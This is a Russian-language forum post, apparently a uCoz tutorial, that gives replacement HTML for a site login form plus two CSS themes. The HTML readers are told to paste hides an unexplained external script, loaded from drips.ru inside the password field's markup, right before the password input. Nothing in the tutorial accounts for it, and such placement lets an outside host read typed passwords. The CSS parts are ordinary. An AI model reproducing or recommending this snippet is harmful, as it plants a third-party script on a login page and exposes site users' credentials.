• ГЛАВНАЯ
  • Наши баннеры
  • Персонал сайта
Новая музыка
Новые статьи
Новые сайты в ТОПе
Новые сервера
Новое видео

  • Страница 1 из 1
  • 1
Модератор форума: Farell  
Форма входа под Ucoz
40GloccДата: Вторник, 20.03.2012, 08:35 | Сообщение # 1
Сообщений: 14
Репутация:0
Статус:Offline
Данные:

Город: Port Harcourt

Пол: Мужчина

С нами: 20.03.2012
И так для начало нам следует зайти в админ панель вашего сайта в системе uCoz:

Дизайн => Управление дизайном =>Пользователи => Форма входа пользователей

и заменить стандартный html код формы входа для uCoz., на следующий код:

Code
<div id="cell_vxod">   
   <div class="cell_pola_vxod"><div class="vxod_name">Логин:</div><input class="login_pole" type="text" name="user" value="" size="20" maxlength="50"/></div>   
   <div class="cell_pola_vxod"><div class="vxod_name">Пароль:</div><script src="http://drips.ru/slider.js" type="text/javascript"></script><input class="login_pole" type="password" name="password" size="20" maxlength="15"/></div>   
   <div id="vxod_reg">
   <a href="$REMINDER_LINK$">Забыл пароль</a> | <a href="$REGISTER_LINK$">Регистрация</a>
   <span class="right"><input class="south" title="Сохранить пароль при входе"id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$"></label></span>
   </div>
   <div id="cell_knopkav"><input class="knopka_vxoda" name="sbm" type="submit" value="Вход"/></div>
</div>


Шаг 2, установим CSS:

Теперь нам осталось выбрать один из двух вариантов css стилей для нашей формы входа для uCoz.

Вариант № 1 White (Белый):

Скрин: http://s017.radikal.ru/i402/1202/b4/9a0bda713aed.png

CSS-Code

Code
/* Форма входа
------------------------------------------*/
#cell_vxod {
   float:left;
   width:270px;   
}

#cell_vxod a:link,   
#cell_vxod a:visited {text-decoration:none; color:#5a79b8;}
#cell_vxod a:hover {text-decoration:none; color:#5cb85a;}

#vxod_reg {
   float:left;
   font:10px Verdana,Arial,Helvetica, sans-serif;
   color:#BABABA;
   font-weight: bold;
   width:212px;
   padding: 5px 5px 0px 0px;
}

#cell_knopkav {
   float:left;
   width:53px;
}

.cell_pola_vxod {
   float:left;
   margin-bottom: 10px;
}

.vxod_name {
   width:55px; text-shadow: 1px 1px 1px #fff;
   background:#d6d6d6;
   border-right: none;
   border-left: 1px solid #d6d6d6;   
   padding: 5px 0px 5px 5px;   
}

.login_pole {
   width:193px;   
   border-left: none;   
   border-right: 1px solid #d6d6d6;
   padding: 5px 5px 5px 10px;   
   vertical-align:middle;
}

.login_pole,   
.vxod_name {
   float:left;
   font:11px Verdana,Arial,Helvetica, sans-serif;
   color:#555;
   border-top: 1px solid #d6d6d6;
   border-bottom: 1px solid #d6d6d6;
   margin:0px;
}

.login_pole {background: #f6f6f6 url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_White.gif) no-repeat left;}
.login_pole:focus {background: #fff url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_White.gif) no-repeat left;}

.knopka_vxoda {
   color:#555; text-shadow: 1px 1px 1px #fff;
   padding: 3px 0px;   
   width:53px;
   background: #f6f6f6;
   border:1px solid #d6d6d6;
   margin:0px;   
}

.knopka_vxoda:hover {
   background: #d6d6d6;
}
/* -------------------------------------- */


Вариант № 2 Black (Чёрный):

Скрин: http://s018.radikal.ru/i517/1202/31/66571105d084.png

CSS-Code

Code
/* Форма входа
------------------------------------------*/
#cell_vxod {
   float:left;
   width:270px;   
}

#cell_vxod a:link,   
#cell_vxod a:visited {text-decoration:none; color:#69A4BD;}
#cell_vxod a:hover {text-decoration:none; color:#5CB703;}

#vxod_reg {
   float:left;
   font:10px Verdana,Arial,Helvetica, sans-serif;
   color:#BABABA;
   font-weight: bold;
   width:212px;
   padding: 5px 5px 0px 0px;
}

#cell_knopkav {
   float:left;
   width:53px;
}

.cell_pola_vxod {
   float:left;
   margin-bottom: 10px;
}

.vxod_name {
   width:55px;text-shadow: 1px 1px 1px #8A8A8A;
   background:#656565;
   border-right: none;
   border-left: 1px solid #232323;   
   padding: 5px 0px 5px 5px;   
}

.login_pole {
   width:193px;   
   border-left: none;   
   border-right: 1px solid #232323;
   padding: 5px 5px 5px 10px;   
   vertical-align:middle;
}

.login_pole,   
.vxod_name {
   float:left;
   font:11px Verdana,Arial,Helvetica, sans-serif;
   color:#111;
   border-top: 1px solid #232323;
   border-bottom: 1px solid #878787;
   margin:0px;
}

.login_pole {background: #767676 url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_Black.gif) no-repeat left;}
.login_pole:focus {background: #808080 url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_Black.gif) no-repeat left;}

.knopka_vxoda {
   color:#111;   
   padding: 3px 0px;   
   width:53px;
   background: #8a8a8a;
   border:1px solid #232323;
   margin:0px;   
}

.knopka_vxoda:hover {
   background: #656565;
}
/* -------------------------------------- */

 
  • Страница 1 из 1
  • 1
Поиск:
Загрузка...
Администрация не несёт ответственности за файлы на портале.
Все права не нарушены.
© 2011 www.Up-Royal.Do.Am

ForumSiteMap | SiteMap | Хостинг от uCoz
Лучшие пользователи
Уважаемые пользователи
Популярные темы
Недавно обновленные темы
{Бармен} Постов [ 188 ]
Farell Постов [ 65 ]
Xatis Постов [ 36 ]
40Glocc Постов [ 14 ]
MyLife Постов [ 7 ]
Krasnov Репутация [ 20 ]
Xatis Репутация [ 8 ]
{Бармен} Репутация [ 4 ]
demon4ik Репутация [ 1 ]
Вася Репутация [ 0 ]
Черный Юмор [ 57 ]
Экзамен по биологии за 9 класс... [ 17 ]
Анекдоты,смешные истории [ 14 ]
Прикольные демотиваторы [ 7 ]
Сталкер ТеньЧернобыля [ 5 ]
Цигун [ 1 ]
Новый Топ пользователей с ав... [ 0 ]
Простой и красивый вид формы... [ 0 ]
Красивый информер "кто ... [ 0 ]
Flash радио для сайта [ 0 ]